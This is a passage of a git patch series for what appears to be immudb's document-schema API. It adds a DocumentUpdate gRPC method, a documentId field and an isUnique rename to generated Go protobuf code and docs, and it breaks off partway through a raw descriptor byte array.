Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" }, "protobufNullValue": { "type": "string", diff --git a/pkg/api/documentschema/documentschema_grpc.pb.go b/pkg/api/documentschema/documentschema_grpc.pb.go index df7a2fc780..749facc450 100644 --- a/pkg/api/documentschema/documentschema_grpc.pb.go +++ b/pkg/api/documentschema/documentschema_grpc.pb.go @@ -19,6 +19,7 @@ const _ = grpc.SupportPackageIsVersion7 // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type DocumentServiceClient interface { DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*DocumentInsertResponse, error) + DocumentUpdate(ctx context.Context, in *DocumentUpdateRequest, opts ...grpc.CallOption) (*DocumentUpdateResponse, error) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) DocumentAudit(ctx context.Context, in *DocumentAuditRequest, opts ...grpc.CallOption) (*DocumentAuditResponse, error) DocumentProof(ctx context.Context, in *DocumentProofRequest, opts ...grpc.CallOption) (*DocumentProofResponse, error) @@ -45,6 +46,15 @@ func (c *documentServiceClient) DocumentInsert(ctx context.Context, in *Document return out, nil } +func (c *documentServiceClient) DocumentUpdate(ctx context.Context, in *DocumentUpdateRequest, opts ...grpc.CallOption) (*DocumentUpdateResponse, error) { + out := new(DocumentUpdateResponse) + err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentUpdate", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *documentServiceClient) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) { out := new(DocumentSearchResponse) err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentSearch", in, out, opts...) @@ -113,6 +123,7 @@ func (c *documentServiceClient) CollectionDelete(ctx context.Context, in *Collec // for forward compatibility type DocumentServiceServer interface { DocumentInsert(context.Context, *DocumentInsertRequest) (*DocumentInsertResponse, error) + DocumentUpdate(context.Context, *DocumentUpdateRequest) (*DocumentUpdateResponse, error) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) DocumentAudit(context.Context, *DocumentAuditRequest) (*DocumentAuditResponse, error) DocumentProof(context.Context, *DocumentProofRequest) (*DocumentProofResponse, error) @@ -129,6 +140,9 @@ type UnimplementedDocumentServiceServer struct { func (UnimplementedDocumentServiceServer) DocumentInsert(context.Context, *DocumentInsertRequest) (*DocumentInsertResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DocumentInsert not implemented") } +func (UnimplementedDocumentServiceServer) DocumentUpdate(context.Context, *DocumentUpdateRequest) (*DocumentUpdateResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentUpdate not implemented") +} func (UnimplementedDocumentServiceServer) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DocumentSearch not implemented") } @@ -180,6 +194,24 @@ func _DocumentService_DocumentInsert_Handler(srv interface{}, ctx context.Contex return interceptor(ctx, in, info, handler) } +func _DocumentService_DocumentUpdate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentUpdateRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).DocumentUpdate(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.documentschema.DocumentService/DocumentUpdate", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).DocumentUpdate(ctx, req.(*DocumentUpdateRequest)) + } + return interceptor(ctx, in, info, handler) +} + func _DocumentService_DocumentSearch_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DocumentSearchRequest) if err := dec(in); err != nil { @@ -317,6 +349,10 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ MethodName: "DocumentInsert", Handler: _DocumentService_DocumentInsert_Handler, }, + { + MethodName: "DocumentUpdate", + Handler: _DocumentService_DocumentUpdate_Handler, + }, { MethodName: "DocumentSearch", Handler: _DocumentService_DocumentSearch_Handler, From 08b8b809e5250f3b212cdc32fae26e4dc2b58d02 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Thu, 30 Mar 2023 10:48:29 +0200 Subject: [PATCH 0389/1062] API update --- pkg/api/documentschema/docs.md | 3 +- pkg/api/documentschema/documentschema.pb.go | 522 +++++++++--------- pkg/api/documentschema/documentschema.proto | 5 +- .../documentschema.swagger.json | 5 +- 4 files changed, 275 insertions(+), 260 deletions(-) diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index ea3a0f32a9..2e2d3879d0 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -384,6 +384,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | +| documentId | [string](#string) | | | | document | [google.protobuf.Struct](#google.protobuf.Struct) | | | @@ -416,7 +417,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | type | [IndexType](#immudb.documentschema.IndexType) | | | -| unique | [bool](#bool) | | | +| isUnique | [bool](#bool) | | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index c74900bc03..c996630c3a 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -263,7 +263,8 @@ type DocumentUpdateRequest struct { unknownFields protoimpl.UnknownFields Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Document *_struct.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` + DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` + Document *_struct.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentUpdateRequest) Reset() { @@ -305,6 +306,13 @@ func (x *DocumentUpdateRequest) GetCollection() string { return "" } +func (x *DocumentUpdateRequest) GetDocumentId() string { + if x != nil { + return x.DocumentId + } + return "" +} + func (x *DocumentUpdateRequest) GetDocument() *_struct.Struct { if x != nil { return x.Document @@ -993,8 +1001,8 @@ type IndexOption struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Type IndexType `protobuf:"varint,1,opt,name=type,proto3,enum=immudb.documentschema.IndexType" json:"type,omitempty"` - Unique bool `protobuf:"varint,2,opt,name=unique,proto3" json:"unique,omitempty"` + Type IndexType `protobuf:"varint,1,opt,name=type,proto3,enum=immudb.documentschema.IndexType" json:"type,omitempty"` + IsUnique bool `protobuf:"varint,2,opt,name=isUnique,proto3" json:"isUnique,omitempty"` } func (x *IndexOption) Reset() { @@ -1036,9 +1044,9 @@ func (x *IndexOption) GetType() IndexType { return IndexType_DOUBLE } -func (x *IndexOption) GetUnique() bool { +func (x *IndexOption) GetIsUnique() bool { if x != nil { - return x.Unique + return x.IsUnique } return false } @@ -1539,134 +1547,115 @@ var file_documentschema_proto_rawDesc = []byte{ 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x22, 0x6c, 0x0a, - 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, + 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x22, 0x8c, 0x01, + 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, + 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x67, 0x0a, 0x16, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xbc, 0x01, 0x0a, 0x0a, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3b, 0x0a, 0x0a, 0x6e, 0x75, 0x6c, 0x6c, 0x5f, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x09, 0x6e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, + 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, + 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, + 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, + 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, + 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, + 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x95, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x40, 0x0a, 0x08, + 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x24, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xa1, 0x01, 0x0a, + 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, - 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x67, 0x0a, 0x16, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, - 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xbc, 0x01, 0x0a, 0x0a, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x12, 0x3b, 0x0a, 0x0a, 0x6e, 0x75, 0x6c, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x09, 0x6e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, - 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, - 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, - 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, - 0x69, 0x6e, 0x64, 0x22, 0x95, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x40, 0x0a, 0x08, 0x6f, - 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x24, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xa1, 0x01, 0x0a, 0x15, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, + 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, + 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, + 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, + 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, + 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, + 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, + 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x76, + 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x31, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, + 0x6f, 0x66, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, + 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, + 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0xa7, 0x01, 0x0a, 0x15, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, - 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 